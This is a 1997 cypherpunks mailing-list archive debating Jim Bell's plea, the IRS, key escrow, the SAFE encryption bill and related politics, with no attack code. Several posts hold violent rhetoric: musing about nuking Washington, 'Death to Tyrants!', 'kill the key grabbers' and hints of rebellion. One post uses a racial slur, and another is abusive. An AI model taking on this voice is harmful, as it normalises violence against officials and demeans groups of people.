Message-ID: <199707231353.IAA23244@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <1.5.4.32.19970723114324.006a189c@pop.pipeline.com>, on 07/23/97 
   at 07:43 AM, John Young <jya@pipeline.com> said:

>We've updated Jim Bell's court docket to show July 18 entries for the
>plea agreement:

>   http://jya.com/jimbell-dock2.htm

>It lists a waiver of indictment, a plea agreement "filed under seal" and
>a hearing for sentencing set for October 17.

>Jim's remanded to jail until then, making a total of five months of time
>served since arrest.

>Consider that everyone in the case is supported by the tax-extortion Jim
>was fighting. The Federal/Community Defender program is bribed at
>$308,000,000 for FY 1998.

>Keep up this self-serving banditry, you millions of members of Crispin's 
>extortion-by-law-mil/gov big-gun-show world, and reap what you sow.

Has anyone contacted Jim's lawer about the recent IRS SPAM?

Seems to me that the IRS leaking the Plea Agreement would be at least
contempt of court.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "CST Administration Dept" <admin@CyberSpaceTechnologies.com>
Date: Wed, 23 Jul 1997 21:35:59 +0800
To: <jya@pipeline.com>
Subject: Re: Jim Bell Docket 3
Message-ID: <199707231318.IAA10360@oceanus.host4u.net>
MIME-Version: 1.0
Content-Type: text/plain



 >Consider that everyone in the case is supported by the tax-extortion Jim
>was fighting. The Federal/Community Defender program is bribed at
>$308,000,000 for FY 1998.
>

When doesn't the government get big bucks? I mean look at what they did to
us soldiers? Congress gave themselves a 6.8% payraise in 1 (one) year, and
gave us a 2.6% pay raise spread across 3 (three)!

>Keep up this self-serving banditry, you millions of members of Crispin's
>extortion-by-law-mil/gov big-gun-show world, and reap what you sow.

We all know that the very seeds of civil rebellion that fueled the civil war
and others of that caliber across the globe are now present in the U.S once
again. Believe you me, they will reap what they sow. They caused it. They
can deal with it. The only thing I have to say to them is.. "Don't expect me
to help clean it up. I will not fire on my fellow countrymen, except in the
defense of my family!"  So, don't worry. Their day is coming, far quicker
than they realize.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeff Barber <jeffb@issl.atl.hp.com>
Date: Wed, 23 Jul 1997 21:53:06 +0800
To: cypherpunks@cyberpass.net (Cypherpunks List)
Subject: Re: Fight-each-other
In-Reply-To: <97Jul22.220455edt.32257@brickwall.ceddec.com>
Message-ID: <199707231406.KAA31336@jafar.issl.atl.hp.com>
MIME-Version: 1.0
Content-Type: text/plain



Nobody writes:

> > > Grover Norquist has coined the term "The Leave-us-alone Coalition" that
> > > simply wants the government out of everything they have no constitutional
> > > authority to be in.  They perceive government as an intrinsic evil and the
> > > only thing that should be done is to slay the dragon.  I would number
> > > Eagle Forum and the Progress and Freedom Foundation in this group.
> > 
> > Sure, *they* want to be left alone, but I wouldn't trust these
> > groups to leave the rest of us alone.
[snip]
> >                                                    These groups are
> > not friends of liberty.  Like the traditional "liberals", they seek
> > not so much to slay the dragon as to replace it with their own.

> You either missed or paraphrased my second paragraph.  My point is
> precisely that the rift is between those who want to use government to
> regulate the things you mention, and those who don't think it is the
> government's business, whether they consider them good or bad.  The
> organizations I mentioned here specifically don't want the federal
> government trying to control these things.

OK, let's look at one of these organizations.  Here's certain bullets
from the mission statement from Eagle Forum's web site, followed by
my annotations.  I've omitted most of their bullets, some of which
I actually agree with.

o	Supports a strong national defense and the protection of
	American sovereignty and jobs against encroachments by
	international agreements. We support using the newest
	technology to build a strong ballistic missile defense. We
	oppose weakening the military by putting women and open
	homosexuals in combat assignments. We oppose "New World
	Order" interventions -- a government that can't protect our
	safety in America's cities has no business trying to police the
	world. 

Protection of jobs by government as implied here does not reflect a
perception of government as "an intrinsic evil".


o	Supports a health care system that puts control of spending in
	the hands of individuals -- not the government. We support
	individual medical savings accounts plus tax fairness, so that all
	Americans can buy health insurance with pre-tax dollars. 

Again, a government solution, not a clear "keep the government out of
the health care system."


o	Supports conservative and pro-family policies at every level of
	government. 

There's that G-word again.


o	Opposes government subsidies for offensive "art," elective
	abortions, or immoral lifestyles. 

But implicit in this is that they *would* give government subsidies
to art they don't find offensive, and would support "moral" lifestyles
(for their definition of moral).  Otherwise, why don't they come out 
and say "we oppose ALL government subsidies for art" and "we think
the government ought not promote any lifestyle"?


o	Opposes violence, pornography, and attacks on traditional
	family values by the entertainment industry. 

An implicit threat to use government to regulate the industry.

I could do the same thing with the Progress and Freedom Foundation
or the National Empowerment TV group you mentioned, but what's the
point?  These people are not libertarians!  And grouping them into
something called the "leave-us-alone" coalition is a fraud.


-- Jeff





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Wed, 23 Jul 1997 23:28:58 +0800
To: Kent Crispin <kent@songbird.com>
Subject: Re: IRS sending warning notes, violating ECPA?
In-Reply-To: <19970723010939.51681@bywater.songbird.com>
Message-ID: <Pine.SUN.3.96.970723110841.29712D-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain



On Wed, 23 Jul 1997, Kent Crispin wrote:

> Actually, nothing whatsoever separates Tim from sheeple.  
> 
> As anon clearly points out, Tim toes the line with his speech,
> carefully avoiding saying anything that escapes constitutional
> protection.  In fact he frequently sprinkles his posts with comments
> pointing out that some outrageous thing he just said is
> constitutionally protected. 
> 
> And Tim doesn't have to worry about an employer, unlike the "corporate
> types" he mentions, but he (as he noted in a recent post) pays his
> taxes like everyone else.  He said, as I recall, that he of course
> didn't like paying, but essentially that it was too much trouble to
> avoid it.  Tim sees the Man, and Tim knows who's boss.
> 
> Yes, Tim talks a brave talk.  But, though the parameters of his 
> slavery are different than most of ours, he is part of the flock, 
> nonetheless. 

I don't see you doing anything "braver" by your definition.  Let's see you
do something to fight the system.  I do however hear you spread the Big
Brother party line, I do see you lick the shit off your lips and say
"Hmmmm, Hmmmm, NSA's butthole tastes real mighty good, yessir, I reckon."

What Tim does is Tim's business, I neither defend or refute. However, I do
see you running at the mouth with these grand "Tim's Chicken" lines while
you're not even doing shit.  All we have ever heard from you is pro-GAK
party line.

What's your agenda, trying to get us to actually break the law and wind up
in the slammer?  Wouldn't that be your dream come true, get all the
cypherpunks in jail, problem solved. I wonder how much the NSA is willing
to pay you if you accomplish that task for them.  Care to share the
numbers with us?   Asswipe! Get back under your government paid rock. 

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "If you wanna touch the sky, you must  |./|\.
..\|/..|sunder@sundernet.com| be prepared to die.  And I hate cough  |/\|/\
<--*-->| ------------------ | syrup, don't you?"                     |\/|\/
../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
.+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
======================== http://www.sundernet.com =========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Thu, 24 Jul 1997 07:11:53 +0800
To: Kent Crispin <kent@songbird.com>
Subject: Re: Keepers of the keys
In-Reply-To: <19970720170513.43286@bywater.songbird.com>
Message-ID: <Pine.LNX.3.91.970721151947.985A-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> That is *exactly* what Tim is doing.  He is wrapping himself in the
> flag and shouting about how he has the one true vision of what the 
> hallowed founding fathers thought:

Foo. Tim has never claimed to have a true vision, as in all things it is 
highly individual and subjective, nor does he claim that even if his 
vision of their intentions were correct it would be the only correct 
interpretation. An argument based on discrediting the other persons 
perspective rather than trying to make an objective accessment is 
unlikely to ever be productive, clearly you must have no opinion 
whatsoever on this or any other subject or you would be claiming to have 
the one true vision of the reality of the situation, wouldn`t you???.

> >>> Kill the key grabbers and all those who support them. Isn't it exactly what
> >>> Patrick Henry, Thomas Jefferson, and the others would have argued?
> 
> Pardon my patriotic tears...
> 
> Can there be any doubt at all? It's obviously old cheap rhetoric
> through and through, not even Bill Clinton at his worst could match
> it.  Of course, the true believers chorus "Yea, verily", and are
> impressed by the fire and brimstone; and the anon crowd always chimes
> in after a respectful delay... 

Yea, verily.

Surely Kent you are not claiming that the founding fathers would have 
considered it right to stand by passively and allow the government to 
pass laws allowing them to intrude on citizens private communications and 
stored data?

And your implied contention that the congress proponents of GAK are 
entitled to freely propose such legislation is flawed in two ways:

1. Elected poloticians do not have totally unrestricted free speech, this 
is because they are employees of the state and are bound by contract. You 
would not expect a senator to last long if he stood on the steps of 
congress and loudly proclaimed "kill all the niggers". This very same 
contract also involved their swearing an oath to uphold the constitution, 
hence proposing or voting for unconstitutional laws is a breach of this 
contract.

2. Further, the speech of elected officials can directly infringe the 
rights of citizens within their jurisdiction, a congress-critter 
proposing a GAK system or speaking in favour of a compulsory GAK bill is 
shouting fire in a crowded theatre, it is not pure speech.

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Thu, 24 Jul 1997 00:45:01 +0800
To: Tim May <cypherpunks@Algebra.COM
Subject: Re: Privacy: Law, Custom, and Technology
In-Reply-To: <v03007814affb5f9aacf5@[207.94.249.108]>
Message-ID: <v03007818affbe2e69a19@[207.94.249.108]>
MIME-Version: 1.0
Content-Type: text/plain



At 12:53 AM -0700 7/23/97, Tim May wrote:
>(I am not trying to be rude to Bill, just making the point forcefully that
>I don't particularly care that these four choices are acceptable to "some
>people.")

It is this kind of attitude I wish to encourage thru custom, certainly not law.

>
>I of course remember _lots_ of things about people, I share those memories
>on occasion (without requesting permission), I mention names, and I
>certainly don't recall every giving one of the subjects of my memories a
>cut of the action.
>
>In a free society, it is not possible or acceptable to control what others
>remember or gossip about. Or even sell commercially.
>
>"Custom" only applies to those who adopt the custom--the "law" is for
>everyone else. The question is: do we have a law demanding that people not
>remember certain things, or not gossip about what they've observed? I think
>even a totalitarian society will have well-known problems enforcing such
>laws.

When I was in Malasia, I saw signs in many stores which said in effect, In
accordance with Islamic law, we offer fair prices.  My experience with
prices in stores with these signs is that they were lower than in some of
the other stores.

A similar approach could evolve for network sites.  A sign saying that we
follow the US Chamber of Commerce's code on fair information practices
could easily evolve.  My questions are, what should that code contain?
And, how many different codes do we need?


-------------------------------------------------------------------------
Bill Frantz       | The Internet was designed  | Periwinkle -- Consulting
(408)356-8506     | to protect the free world  | 16345 Englewood Ave.
frantz@netcom.com | from hostile governments.  | Los Gatos, CA 95032, USA






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Thu, 24 Jul 1997 01:04:03 +0800
To: cypherpunks@Algebra.COM
Subject: Re: IRS sending warning notes, violating ECPA?
In-Reply-To: <199707231616.MAA19478@the-great-machine.mit.edu>
Message-ID: <v03102803affbe2b3efed@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 9:16 AM -0700 7/23/97, Ryan Lackey wrote:
>(I think Tim is doing a lot more for the cypherpunks cause by not being
>in jail than he would being locked up in jail pending trial for 5 months..
>but that's not really an issue anyway -- one's life is one's own, do as thou
>wilt and all)

Thanks.

I gather from the quoted comments in Ray A.'s and William G.'s messages
that Kent Crispin is arguing that I'm one of the sheeple because I have not
blown up any buildings or committed other felonies. (Actually, how does he
know I haven't? Perhaps my public personna is not the full story... Hmmhhh.)

(And Crispin was not around, on this list or anywhere in cyberspace I ever
noticed, a few years ago when I anonymously launched Blacknet, a
clearinghouse for military and other secrets. Consult the archives,
including the investigations launched by several agencies in D.C. I did it
as a technology demonstration, though I did get some weird offers of
information about how the CIA was targetting African diplomats for
compromise in Georgetown.)

Crispin also has a very poor understanding of what CPs have done,
apparently thinking the postings on this list in the short time he's been
here represent the sum total output.


>Something which I think would be more interesting would be if someone set up
>a fairly aggressive legal fund and technical assay organization to use
>the civil courts to try to challenge silly crypto laws, using some of the
>proceeds from evaluating and certifying vendor security products.  Something
>like a "contribute $1 by electronic cash system of your choice" to a variety
>of "charities" (things where you gain some tangible benefit by their success,
>like the repeal of crypto export legislation, etc.) -- perhaps some kind of
>silly web server which collected deposits, automatically did the paperwork
>for tax purposes, forwarded money to the organizations, etc., either
>anonymously or not.

Well, organizations like the EFF are active in exactly this way, handling
the Bernstein case, and with (I think) other involvements in other cases
(Karns, Junger?).  And of course the recent CDA victory is such an effort.

The courts are our best hope in striking down repressive legislation.
Congress is not a viable hope...they exist solely to generate more laws.

The only thing keeping the U.S. from falling headlong into a
cradle-to-grave total state is the Constitution. Not suprising, but let me
make a few points to show more precisely what I mean:

* Even with the First, which is clearly stated, there are constant attempts
to control and regulate speech. Imagine the explosion of legislation we'd
have without a clearcut First?

(Though the phrase has become puerilely hackneyed, I still like to use it:
"Just which part of "Congress shall make no law" do you not understand?")

* The Supremes recentlly struck down provisions of the Brady Bill, and
Clarence Thomas, in his written opinion, indicated that it may be time for
the Court to take a case involving the various attempts to short circuit
the Second. (We may see in the next several years a striking down of many
of the recent gun control laws.)

* The Court threw out the CDA and essentially made the same hackneyed point
I made above. The Court did what no amount of Congressional porkbarrelling
could ever do.

* Domestic restrictions on crypto are coming. Only the Court can strike
down these laws. Violations of the First (speech), Fourth (secure in one's
papers, search warrants needed), Fifth (self-incrimination), and other
provisions would seem likely points of attack.

Maybe I need to revise my views about nuking D.C.

Is there any way to have a shaped nuclear charge which would take out
Congress and the White House but leave the Supreme Court standing?

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Thu, 24 Jul 1997 03:47:27 +0800
To: Duncan Frissell <frissell@panix.com>
Subject: Re: House Tries to Liberate ICs
In-Reply-To: <3.0.2.32.19970721142051.006c6e60@panix.com>
Message-ID: <3.0.2.32.19970723100054.03156fec@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

A much more serious omission is that "longstanding" dates from about
10 years ago, when NJ Senator Frank Lautenberg, who made his money 
running ADP, a computer consulting company that rents out its employees
to businesses, got the law changed to force his competition to 
use employees rather than independent contractors, which was common.
A number of my friends who were independent contractors had to go
find consulting firms to be employed by, or go start their own shell firms
and spend a lot of money on extra paperwork and business taxes.
Many of those consulting firms, however, give their employees a lot of
latitude on salary vs. benefits, though taxes aren't optional :-)


At 02:20 PM 7/21/97 -0400, Duncan Frissell wrote:
>Notice how the following article does not mention the fact that ICs 
sometimes 
>neglect to send those quarterly tax payments in on time and this is why the 
>Feds dislike them.  It's not going to happen, but it would be fun if it 
>did...
>
>July 20, 1997
>Item in Tax Bill Poses a Threat to Job Benefits
>By STEVEN GREENHOUSE
>
>In Congress and in thousands of workplaces, the nation's business community 
>is seeking to change longstanding rules and practices to turn many people 
>classified as employees into independent contractors -- a move that could 
>cause many Americans to lose health insurance and pension and unemployment 
>insurance benefits.

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#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Thu, 24 Jul 1997 01:06:12 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Fw: Cops, Spies Fail to Slow Crypto Bill
In-Reply-To: <33D577C5.7327@iname.com>
Message-ID: <v03102804affbe80f3258@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 9:17 AM -0700 7/23/97, amp@pobox.com wrote:
>Excellent quote contained in the link below...
>"We don't give a damn about export policy," FBI
>Assistant director James Callstrom said. "We
>care about protecting people domestically, and
>we can't do that without wiretapping capabilities."
>
>Translation:
>"We know we can't stop crypto overseas, we don't
>believe the american people have =any= right to privacy."

This of course has been obvious for the past 4 to 5 years of the
Clipper/GAK debate.

Even when they are pushing for export controls, they really want "Key
Recovery" mandated. And they talk about catching terrorists and child
pornographers...catching them _in the U.S._, that is.

How export controls help catch domestic criminals, Mafia dons, etc. is
unclear to all of us.

And when people repeatedly point out that common criminals, terrorists, and
the like are unlikely in the extreme to escrow their keys with the
government...the government shills and officials are silent.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: amp@pobox.com
Date: Thu, 24 Jul 1997 00:41:45 +0800
To: cypherpunks@cyberpass.net
Subject: Fw: Cops, Spies Fail to Slow Crypto Bill
In-Reply-To: <33D577C5.7327@iname.com>
Message-ID: <Chameleon.869671376.amp@ampugh.mcit.com>
MIME-Version: 1.0
Content-Type: text/plain



Excellent quote contained in the link below...
"We don't give a damn about export policy," FBI
Assistant director James Callstrom said. "We 
care about protecting people domestically, and 
we can't do that without wiretapping capabilities."

Translation: 
"We know we can't stop crypto overseas, we don't 
believe the american people have =any= right to privacy."

amp
------------------------
  From: Dave K-P <dkp@iname.com>
  Subject: Cops, Spies Fail to Slow Crypto Bill 
  Date: Tue, 22 Jul 1997 23:17:25 -0400 
  To: cypherpunks@toad.com


> Security and Freedom through Encryption Act passed at a mark-up
> meeting of the House International Relations Committee.
> 
> 	http://www.wired.com/news/news/politics/story/5399.html
> 

---------------End of Original Message-----------------

------------------------
Name: amp
E-mail: amp@pobox.com
Date: 07/23/97
Time: 11:17:28
Visit me at http://www.pobox.com/~amp

'Drug Trafficking Offense' is the root passphrase to the Constitution.

Have you seen 
http://www.public-action.com/SkyWriter/WacoMuseum
------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mike Duvos <enoch@zipcon.net>
Date: Thu, 24 Jul 1997 03:01:01 +0800
To: cypherpunks@cyberpass.net
Subject: Free Money
Message-ID: <19970723184547.28534.qmail@zipcon.net>
MIME-Version: 1.0
Content-Type: text/plain



In response to outside pressure, Swiss bankers have abandoned their
traditional secrecy laws and published a list of all bank accounts opened
by non-Swiss citizens prior to May 9th, 1945, the end of World War II.

This list and instructions for claiming your share of the millions
of dollars offered may be found at...

           http://www.dormantaccounts.ch/

Happy browsing.    

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     enoch@zipcon.com   $    via Finger                       $
         {Free Cypherpunk Political Prisoner Jim Bell}





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Thu, 24 Jul 1997 03:42:04 +0800
To: Dave K-P <dkp@iname.com>
Subject: Re: Cops, Spies Fail to Slow Crypto Bill
In-Reply-To: <33D577C5.7327@iname.com>
Message-ID: <3.0.2.32.19970723120119.0315ea74@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 11:17 PM 7/22/97 -0400, Dave K-P wrote:
>Security and Freedom through Encryption Act passed at a mark-up
>meeting of the House International Relations Committee.
>
>	http://www.wired.com/news/news/politics/story/5399.html

Unless the bill has substantially changed, the Feds are giving up
some control over encryption exports, which they'd substantially
lost in the market anyway, and some ability to mandate GAK,
which they haven't been able to sell very well in their last 4 tries,
in return for criminalizing domestic use of crypto by people who want
to preserve their privacy while committing potentially incorrect acts.

Sounds like they're maintaining the image that _they're_ the ones
compromising, the poor guys, when in reality they're gaining power.

Not only does "Use crypto, go to jail" penalize spies with secret decoder
rings (arguably a National Security issue), and child pornographers
sending their encrypted wares to each other (arguably a police issue),
it penalizes anyone who uses a digital cellphone to call their bookie
or ask their under-21 roommate if they should pick up beer on the way home
or ask somebody for a date if they're not the politically approved gender,
or who uses IPv6 IPSEC to carry their email to their ISP on anything illegal,
whether it's something that rates 5 years in jail or a $25 fine. 
If the CDA hadn't been tossed out on its <expletive deleted> you could
have gotten the extra 5 years for saying <expletive deleted> on an
encrypted mailing list if it was possible there wasa kid listening -
or for using an encrypted file system on the PC where you store your Out Box
even if you're sending to unencrypted mailing lists.

One version of the bill _did_ get changed to only penalize crypto
used with Federal felony crimes, which reduces the damage substantially
(though Tim _keeps_ being a felon under an increasing number of rules);
does anybody know if this provision survived?


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: David Yaffe <straightedge.dave@sk.sympatico.ca>
Date: Thu, 24 Jul 1997 02:19:28 +0800
To: cypherpunks@Algebra.COM
Subject: os9?? for security??
In-Reply-To: <199707231616.MAA19478@the-great-machine.mit.edu>
Message-ID: <3.0.2.32.19970723120330.007ae860@mailhost.sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

I'm new here but:
>I think I'll go back to setting up my little os9 network and toying with
>novel security concepts (twas a good suggestion, whoever mentioned it here.
>i'd always ignored os9...it turns out it's quite a fun toy, and a useful
>building block).

Is this the child of Microware's OS9 that I used ten years ago?

Thanks
David Yaffe

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fZaiiulGTRE=
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Thu, 24 Jul 1997 03:39:29 +0800
To: cypherpunks@toad.com
Subject: Re: House crypto-vote echoes classified briefing (plus: COWS!)
In-Reply-To: <Pine.GSO.3.95.970723035521.13964A-100000@cp.pathfinder.com>
Message-ID: <3.0.2.32.19970723121233.0076efc0@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 03:55 AM 7/23/97 -0400, Declan McCullagh wrote:
>Then there were the cows. Again, I'm not making this up.

Where there's bull, there's cows...

>the president has said he'll veto any pro-crypto bill that
>comes across his desk...
Yet more evidence that, while Clinton doesn't have the
fiscal responsibility of some conservatives, he's certainly
no liberal.

On the other hand, Secretary Cohen gives a marvelous explanation
of why all government employees should use GAK on their own communications,
or at least any who handle material relevant to National Security. [*See
below]
No point in bothering the rest of us when the spies work for him...

>Excerpt from Secretary of Defense William Cohen's letter to
>Congress, dated July 21, 1997:
>        It is also important to note that the Department of Defense
>        relies on the Federal Bureau of Investigation for the
>        apprehension and prosecution of spies. Sadly, there have
>        been over 60 espionage convictions of federal employees
>        over the last decade. While these individuals represent
>        a tiny minority of government employees, the impact of
>        espionage activities on our nation's security can be
>        enormous. As the recent arrests of Nicholson, Pitts, and
>        Kim clearly indicate, espionage remains a very serious
>        problem. Any policies that detract from the FBI's ability
>        to perform its vital counterintelligence function,
>        including the ability to perform wiretaps, inevitably
>        detract from the security of the Department of Defense
>        and the nation...

[*Below]
>Gilman's amendment offered today:
>	   [....]	National security
>        shall include, but not be limited to, the ability of law
>        enforcement agencies, including Federal, State, and local
>        agencies, to combat espionage, terrorism, illicit drugs,
>        kidnapping, or other criminal acts, or otherwise would
>        involve the potential for loss of human life.

And fortunately defeated, though an appalling number of Committeecritters
voted _for_ it.

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ryan Lackey <rdl@mit.edu>
Date: Thu, 24 Jul 1997 00:26:18 +0800
To: cypherpunks@Algebra.COM
Subject: Re: IRS sending warning notes, violating ECPA?
Message-ID: <199707231616.MAA19478@the-great-machine.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain



(I think Tim is doing a lot more for the cypherpunks cause by not being
in jail than he would being locked up in jail pending trial for 5 months..
but that's not really an issue anyway -- one's life is one's own, do as thou
wilt and all)

Something which I think would be more interesting would be if someone set up
a fairly aggressive legal fund and technical assay organization to use
the civil courts to try to challenge silly crypto laws, using some of the
proceeds from evaluating and certifying vendor security products.  Something
like a "contribute $1 by electronic cash system of your choice" to a variety
of "charities" (things where you gain some tangible benefit by their success,
like the repeal of crypto export legislation, etc.) -- perhaps some kind of
silly web server which collected deposits, automatically did the paperwork
for tax purposes, forwarded money to the organizations, etc., either 
anonymously or not.

Perhaps this is a bad example, but I think there are a lot more things people
could do outside of jail than in it.  It might be stylish to have a martyr
locked up in jail who we could all invoke at random times, but I'd much 
prefer to actually win.  'Cypherpunks write code' is nicer than 'Cypherpunks
get locked up in jail for doing not so creative things, rather than having
others do them, and not even doing them terribly effaciously'.

I think I'll go back to setting up my little os9 network and toying with
novel security concepts (twas a good suggestion, whoever mentioned it here.
i'd always ignored os9...it turns out it's quite a fun toy, and a useful
building block).





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Thu, 24 Jul 1997 03:28:42 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Free Money
In-Reply-To: <19970723184547.28534.qmail@zipcon.net>
Message-ID: <v03102805affc0820bae3@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 11:45 AM -0700 7/23/97, Mike Duvos wrote:
>In response to outside pressure, Swiss bankers have abandoned their
>traditional secrecy laws and published a list of all bank accounts opened
>by non-Swiss citizens prior to May 9th, 1945, the end of World War II.
>
>This list and instructions for claiming your share of the millions
>of dollars offered may be found at...
>
>           http://www.dormantaccounts.ch/
>

This again shows the importance of _technological_ solutions to privacy and
secrecy concerns over _custom_ or _law_ solutions.

And we can expect this example of Nazi accounts for gold stolen from Jews
and others to be used in the propaganda campaign against untraceable money
and secure banking. "Digital cash would make restitution impossible for the
Jews!" Of course, had the Jews had secure, untraceable assets in the 1930s,
instead of lots of gold coins and jewelry to store their wealth, Hitler
would have had a lot harder time seizing the assets. Details, details.

(Not to mention the seizure of American gold by Reichsfuhrer Roosevelt in
1933.)

Fact is, governments around the world want control of the assets of their
subjects, for taxation, for seizure, and for general control. Anything that
allows citizen units to have assets unreachable by the thugs in power is a
danger to them.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Thu, 24 Jul 1997 04:57:49 +0800
To: cypherpunks@toad.com
Subject: Re: geodesic -- FPGAs
In-Reply-To: <m0wqGB6-000043C@r38h28.res.gatech.edu>
Message-ID: <3.0.2.32.19970723134153.006f0890@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim replied:
>Why not replace your entire architecture with reconfigurable hardware?
>Because factors of 2 or 3 or 4 or more are still important to people.
>Witness the clamor to upgrade from 166 MHz Pentia to 200 MHz MMX Pentia,etc.
>Now tell those folks that the FPGA version will cost several times as much
>and have the performance of a 90 MHz 486. Or less.
>All for what? So they can issue a "reconfigure yourself" command and have
>their machine spend a few minutes reprogramming itself into, what, a Mac?

A machine running on a reconfigurable FPGA will need an operating system
that's not from Microsoft, so you get a factor of 4 or more back :-)
But realistically, while FPGAs may be good for running special applications,
you won't use it for random applications on different web pages;
general-purpose processors get better and better at that.
It might make an interesting peripheral, though, as DSPs once did.
LISP machines were nice, but it was much easier to stay on the
price-performance curve by tuning software better for general-purpose
machines than by using elegant software on customized hardware;
a 2:1 or 4:1 speed advantage is gone in 1-3 years, or faster if
somebody improves the compiler, and there are lots more people
improving compilers for mainstream machines than custom machines.

Over the years there have been reconfigurable machines.
VAXes used to have Writeable Control Store microcode;
other than an occasional bux fix or update to the machine,
the only people who used it were either very scary, very foolish,
or had too much time on their hands, or else they were trying to do
things that were way beyond the capabilities of the fine 1 MIPS machine
they needed.  (I used to play with virtual memory tunings,
since it's hard to get a simulation algorithm that really needs
14MB of RAM to work well in a huge 4MB machine, and the normal
virtual memory tunings got thrashed to death.  WCS is worse...)




#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Thu, 24 Jul 1997 05:15:49 +0800
To: cypherpunks@toad.com
